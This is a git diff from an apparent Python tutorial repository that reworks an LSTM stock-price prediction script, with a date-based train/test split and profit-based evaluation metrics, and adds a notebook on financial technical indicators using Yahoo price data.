y = np.array(y)
- # reshape X to fit the neural network
- X = X.reshape((X.shape[0], X.shape[2], X.shape[1]))
-
- # split the dataset
- result["X_train"], result["X_test"], result["y_train"], result["y_test"] = train_test_split(X, y,
+ if split_by_date:
+ # split the dataset into training & testing sets by date (not randomly splitting)
+ train_samples = int((1 - test_size) * len(X))
+ result["X_train"] = X[:train_samples]
+ result["y_train"] = y[:train_samples]
+ result["X_test"] = X[train_samples:]
+ result["y_test"] = y[train_samples:]
+ if shuffle:
+ # shuffle the datasets for training (if shuffle parameter is set)
+ shuffle_in_unison(result["X_train"], result["y_train"])
+ shuffle_in_unison(result["X_test"], result["y_test"])
+ else:
+ # split the dataset randomly
+ result["X_train"], result["X_test"], result["y_train"], result["y_test"] = train_test_split(X, y,
test_size=test_size, shuffle=shuffle)
- # return the result
+
+ # get the list of test set dates
+ dates = result["X_test"][:, -1, -1]
+ # retrieve test features from the original dataframe
+ result["test_df"] = result["df"].loc[dates]
+ # remove duplicated dates in the testing dataframe
+ result["test_df"] = result["test_df"][~result["test_df"].index.duplicated(keep='first')]
+ # remove dates from the training/testing sets & convert to float32
+ result["X_train"] = result["X_train"][:, :, :len(feature_columns)].astype(np.float32)
+ result["X_test"] = result["X_test"][:, :, :len(feature_columns)].astype(np.float32)
+
return result
-def create_model(sequence_length, units=256, cell=LSTM, n_layers=2, dropout=0.3,
+def create_model(sequence_length, n_features, units=256, cell=LSTM, n_layers=2, dropout=0.3,
loss="mean_absolute_error", optimizer="rmsprop", bidirectional=False):
model = Sequential()
for i in range(n_layers):
if i == 0:
# first layer
if bidirectional:
- model.add(Bidirectional(cell(units, return_sequences=True), input_shape=(None, sequence_length)))
+ model.add(Bidirectional(cell(units, return_sequences=True), batch_input_shape=(None, sequence_length, n_features)))
else:
- model.add(cell(units, return_sequences=True, input_shape=(None, sequence_length)))
+ model.add(cell(units, return_sequences=True, batch_input_shape=(None, sequence_length, n_features)))
elif i == n_layers - 1:
# last layer
if bidirectional:
diff --git a/machine-learning/stock-prediction/test.py b/machine-learning/stock-prediction/test.py
index 5ed1539d..9aa9dc44 100644
--- a/machine-learning/stock-prediction/test.py
+++ b/machine-learning/stock-prediction/test.py
@@ -1,67 +1,132 @@
-from stock_prediction import create_model, load_data, np
-from parameters import *
+import numpy as np
+
import matplotlib.pyplot as plt
-from sklearn.metrics import accuracy_score
-def plot_graph(model, data):
- y_test = data["y_test"]
- X_test = data["X_test"]
- y_pred = model.predict(X_test)
- y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0)))
- y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred))
- plt.plot(y_test[-200:], c='b')
- plt.plot(y_pred[-200:], c='r')
+from stock_prediction import create_model, load_data
+from parameters import *
+
+
+def plot_graph(test_df):
+ """
+ This function plots true close price along with predicted close price
+ with blue and red colors respectively
+ """
+ plt.plot(test_df[f'true_adjclose_{LOOKUP_STEP}'], c='b')
+ plt.plot(test_df[f'adjclose_{LOOKUP_STEP}'], c='r')
plt.xlabel("Days")
plt.ylabel("Price")
plt.legend(["Actual Price", "Predicted Price"])
plt.show()
-def get_accuracy(model, data):
- y_test = data["y_test"]
+def get_final_df(model, data):
+ """
+ This function takes the `model` and `data` dict to
+ construct a final dataframe that includes the features along
+ with true and predicted prices of the testing dataset
+ """
+ # if predicted future price is higher than the current,
+ # then calculate the true future price minus the current price, to get the buy profit
+ buy_profit = lambda current, pred_future, true_future: true_future - current if pred_future > current else 0
+ # if the predicted future price is lower than the current price,
+ # then subtract the true future price from the current price
+ sell_profit = lambda current, pred_future, true_future: current - true_future if pred_future < current else 0
X_test = data["X_test"]
+ y_test = data["y_test"]
+ # perform prediction and get prices
y_pred = model.predict(X_test)
- y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0)))
- y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred))
- y_pred = list(map(lambda current, future: int(float(future) > float(current)), y_test[:-LOOKUP_STEP], y_pred[LOOKUP_STEP:]))
- y_test = list(map(lambda current, future: int(float(future) > float(current)), y_test[:-LOOKUP_STEP], y_test[LOOKUP_STEP:]))
- return accuracy_score(y_test, y_pred)
+ if SCALE:
+ y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0)))
+ y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred))
+ test_df = data["test_df"]
+ # add predicted future prices to the dataframe
+ test_df[f"adjclose_{LOOKUP_STEP}"] = y_pred
+ # add true future prices to the dataframe
+ test_df[f"true_adjclose_{LOOKUP_STEP}"] = y_test
+ # sort the dataframe by date
+ test_df.sort_index(inplace=True)
+ final_df = test_df
+ # add the buy profit column
+ final_df["buy_profit"] = list(map(buy_profit,
+ final_df["adjclose"],
+ final_df[f"adjclose_{LOOKUP_STEP}"],
+ final_df[f"true_adjclose_{LOOKUP_STEP}"])
+ # since we don't have profit for last sequence, add 0's
+ )
+ # add the sell profit column
+ final_df["sell_profit"] = list(map(sell_profit,
+ final_df["adjclose"],
+ final_df[f"adjclose_{LOOKUP_STEP}"],
+ final_df[f"true_adjclose_{LOOKUP_STEP}"])
+ # since we don't have profit for last sequence, add 0's
+ )
+ return final_df
-def predict(model, data, classification=False):
+def predict(model, data):
# retrieve the last sequence from data
- last_sequence = data["last_sequence"][:N_STEPS]
- # retrieve the column scalers
- column_scaler = data["column_scaler"]
- # reshape the last sequence
- last_sequence = last_sequence.reshape((last_sequence.shape[1], last_sequence.shape[0]))
+ last_sequence = data["last_sequence"][-N_STEPS:]
# expand dimension
last_sequence = np.expand_dims(last_sequence, axis=0)
# get the prediction (scaled from 0 to 1)
prediction = model.predict(last_sequence)
# get the price (by inverting the scaling)
- predicted_price = column_scaler["adjclose"].inverse_transform(prediction)[0][0]
+ if SCALE:
+ predicted_price = data["column_scaler"]["adjclose"].inverse_transform(prediction)[0][0]
+ else:
+ predicted_price = prediction[0][0]
return predicted_price
# load the data
-data = load_data(ticker, N_STEPS, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE,
- feature_columns=FEATURE_COLUMNS, shuffle=False)
+data = load_data(ticker, N_STEPS, scale=SCALE, split_by_date=SPLIT_BY_DATE,
+ shuffle=SHUFFLE, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE,
+ feature_columns=FEATURE_COLUMNS)
# construct the model
-model = create_model(N_STEPS, loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS,
+model = create_model(N_STEPS, len(FEATURE_COLUMNS), loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS,
dropout=DROPOUT, optimizer=OPTIMIZER, bidirectional=BIDIRECTIONAL)
+# load optimal model weights from results folder
model_path = os.path.join("results", model_name) + ".h5"
model.load_weights(model_path)
# evaluate the model
-mse, mae = model.evaluate(data["X_test"], data["y_test"], verbose=0)
+loss, mae = model.evaluate(data["X_test"], data["y_test"], verbose=0)
# calculate the mean absolute error (inverse scaling)
-mean_absolute_error = data["column_scaler"]["adjclose"].inverse_transform([[mae]])[0][0]
-print("Mean Absolute Error:", mean_absolute_error)
+if SCALE:
+ mean_absolute_error = data["column_scaler"]["adjclose"].inverse_transform([[mae]])[0][0]
+else:
+ mean_absolute_error = mae
+
+# get the final dataframe for the testing set
+final_df = get_final_df(model, data)
# predict the future price
future_price = predict(model, data)
+# we calculate the accuracy by counting the number of positive profits
+accuracy_score = (len(final_df[final_df['sell_profit'] > 0]) + len(final_df[final_df['buy_profit'] > 0])) / len(final_df)
+# calculating total buy & sell profit
+total_buy_profit = final_df["buy_profit"].sum()
+total_sell_profit = final_df["sell_profit"].sum()
+# total profit by adding sell & buy together
+total_profit = total_buy_profit + total_sell_profit
+# dividing total profit by number of testing samples (number of trades)
+profit_per_trade = total_profit / len(final_df)
+# printing metrics
print(f"Future price after {LOOKUP_STEP} days is {future_price:.2f}$")
-print("Accuracy Score:", get_accuracy(model, data))
-plot_graph(model, data)
\ No newline at end of file
+print(f"{LOSS} loss:", loss)
+print("Mean Absolute Error:", mean_absolute_error)
+print("Accuracy score:", accuracy_score)
+print("Total buy profit:", total_buy_profit)
+print("Total sell profit:", total_sell_profit)
+print("Total profit:", total_profit)
+print("Profit per trade:", profit_per_trade)
+# plot true/pred prices graph
+plot_graph(final_df)
+print(final_df.tail(10))
+# save the final dataframe to csv-results folder
+csv_results_folder = "csv-results"
+if not os.path.isdir(csv_results_folder):
+ os.mkdir(csv_results_folder)
+csv_filename = os.path.join(csv_results_folder, model_name + ".csv")
+final_df.to_csv(csv_filename)
diff --git a/machine-learning/stock-prediction/train.py b/machine-learning/stock-prediction/train.py
index 0e45998c..c3f03d4c 100644
--- a/machine-learning/stock-prediction/train.py
+++ b/machine-learning/stock-prediction/train.py
@@ -17,24 +17,25 @@
os.mkdir("data")
# load the data
-data = load_data(ticker, N_STEPS, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, feature_columns=FEATURE_COLUMNS)
+data = load_data(ticker, N_STEPS, scale=SCALE, split_by_date=SPLIT_BY_DATE,
+ shuffle=SHUFFLE, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE,
+ feature_columns=FEATURE_COLUMNS)
# save the dataframe
data["df"].to_csv(ticker_data_filename)
# construct the model
-model = create_model(N_STEPS, loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS,
+model = create_model(N_STEPS, len(FEATURE_COLUMNS), loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS,
dropout=DROPOUT, optimizer=OPTIMIZER, bidirectional=BIDIRECTIONAL)
# some tensorflow callbacks
checkpointer = ModelCheckpoint(os.path.join("results", model_name + ".h5"), save_weights_only=True, save_best_only=True, verbose=1)
tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name))
-
+# train the model and save the weights whenever we see
+# a new optimal model using ModelCheckpoint
history = model.fit(data["X_train"], data["y_train"],
batch_size=BATCH_SIZE,
epochs=EPOCHS,
validation_data=(data["X_test"], data["y_test"]),
callbacks=[checkpointer, tensorboard],
- verbose=1)
-
-model.save(os.path.join("results", model_name) + ".h5")
\ No newline at end of file
+ verbose=1)
\ No newline at end of file
diff --git a/machine-learning/technical-indicators/README.md b/machine-learning/technical-indicators/README.md
new file mode 100644
index 00000000..4186e35d
--- /dev/null
+++ b/machine-learning/technical-indicators/README.md
@@ -0,0 +1,4 @@
+# [Introduction to Finance and Technical Indicators with Python](https://www.thepythoncode.com/article/introduction-to-finance-and-technical-indicators-with-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- Please check [the notebook](technical_indicators.ipynb) or the [Python script](technical_indicators.py)
\ No newline at end of file
diff --git a/machine-learning/technical-indicators/requirements.txt b/machine-learning/technical-indicators/requirements.txt
new file mode 100644
index 00000000..5647d5ff
--- /dev/null
+++ b/machine-learning/technical-indicators/requirements.txt
@@ -0,0 +1,4 @@
+pandas-datareader
+yfinance
+mpl-finance
+stockstats
\ No newline at end of file
diff --git a/machine-learning/technical-indicators/technical_indicators.ipynb b/machine-learning/technical-indicators/technical_indicators.ipynb
new file mode 100644
index 00000000..5ade7857
--- /dev/null
+++ b/machine-learning/technical-indicators/technical_indicators.ipynb
@@ -0,0 +1,222 @@
+{
+ "metadata": {
+ "language_info": {
+ "codemirror_mode": {
+ "name": "ipython",
+ "version": 3
+ },
+ "file_extension": ".py",
+ "mimetype": "text/x-python",
+ "name": "python",
+ "nbconvert_exporter": "python",
+ "pygments_lexer": "ipython3",
+ "version": 3
+ },
+ "orig_nbformat": 2,
+ "kernelspec": {
+ "name": "python_defaultSpec_1596390011190",
+ "display_name": "Python 3.6.6 64-bit"
+ }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 2,
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": 1,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "import yfinance as yf\n",
+ "import pandas_datareader as pdr\n",
+ "from mpl_finance import candlestick_ohlc\n",
+ "import matplotlib.pyplot as plt"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 6,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# import SPY stock price\n",
+ "df_spy = pdr.get_data_yahoo(\"SPY\", start=\"2019-01-01\", end=\"2019-09-30\")\n",
+ "# import AAPL stock price\n",
+ "df_aapl = pdr.get_data_yahoo(\"AAPL\", start=\"2019-01-01\", end=\"2019-09-30\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 4,
+ "metadata": {},
+ "outputs": [
+ {
+ "output_type": "execute_result",
+ "data": {
+ "text/plain": " High Low Open Close Volume \\\nDate \n2019-01-02 251.210007 245.949997 245.979996 250.179993 126925200.0 \n2019-01-03 248.570007 243.669998 248.229996 244.210007 144140700.0 \n2019-01-04 253.110001 247.169998 247.589996 252.389999 142628800.0 \n2019-01-07 255.949997 251.690002 252.690002 254.380005 103139100.0 \n2019-01-08 257.309998 254.000000 256.820007 256.769989 102512600.0 \n\n Adj Close \nDate \n2019-01-02 243.025879 \n2019-01-03 237.226593 \n2019-01-04 245.172668 \n2019-01-07 247.105774 \n2019-01-08 249.427399 ",
+ "text/html": "\n\n
\n \n \n \n High \n Low \n Open \n Close \n Volume \n Adj Close \n \n \n Date \n \n \n \n \n \n \n \n \n \n \n 2019-01-02 \n 251.210007 \n 245.949997 \n 245.979996 \n 250.179993 \n 126925200.0 \n 243.025879 \n \n \n 2019-01-03 \n 248.570007 \n 243.669998 \n 248.229996 \n 244.210007 \n 144140700.0 \n 237.226593 \n \n \n 2019-01-04 \n 253.110001 \n 247.169998 \n 247.589996 \n 252.389999 \n 142628800.0 \n 245.172668 \n \n \n 2019-01-07 \n 255.949997 \n 251.690002 \n 252.690002 \n 254.380005 \n 103139100.0 \n 247.105774 \n \n \n 2019-01-08 \n 257.309998 \n 254.000000 \n 256.820007 \n 256.769989 \n 102512600.0 \n 249.427399 \n \n \n
\n
"
+ },
+ "metadata": {},
+ "execution_count": 4
+ }
+ ],
+ "source": [
+ "df_spy.head()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 8,
+ "metadata": {},
+ "outputs": [
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": "",
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+ "image/png": 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